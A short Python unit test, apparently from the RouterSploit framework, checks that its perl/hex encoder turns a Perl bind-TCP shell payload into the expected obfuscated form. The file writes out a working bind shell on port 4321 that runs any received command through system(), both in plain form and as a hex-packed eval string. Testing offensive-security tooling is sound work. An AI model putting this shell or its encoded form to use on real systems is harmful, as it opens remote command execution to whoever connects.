from routersploit.modules.encoders.perl.hex import Encoder


# perl bind tcp payload with rport=4321
bind_tcp = (
    "use IO;foreach my $key(keys %ENV){" +
    "if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
    "4321" +
    ",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
    "if($_=~ /(.*)/){system $1;}};"
)

# perl bind tcp payload with rport=4321 encoded with perl/hex
bind_tcp_encoded = (
    "eval(pack('H*','75736520494f3b666f7265616368206d7920246b6579286b6579732025454e56297b69662824454e567b246b65797d3d7e2f282e2a292f297b24454e567b246b65797d3d24313b7d7d24633d6e657720494f3a3a536f636b65743a3a494e4554284c6f63616c506f72742c343332312c52657573652c312c4c697374656e292d3e6163636570743b247e2d3e66646f70656e2824632c77293b535444494e2d3e66646f70656e2824632c72293b7768696c65283c3e297b696628245f3d7e202f282e2a292f297b73797374656d2024313b7d7d3b'));"
)


def test_payload_encoding():
    """ Test scenario - payload encoding """

    encoder = Encoder()
    assert encoder.encode(bind_tcp) == bind_tcp_encoded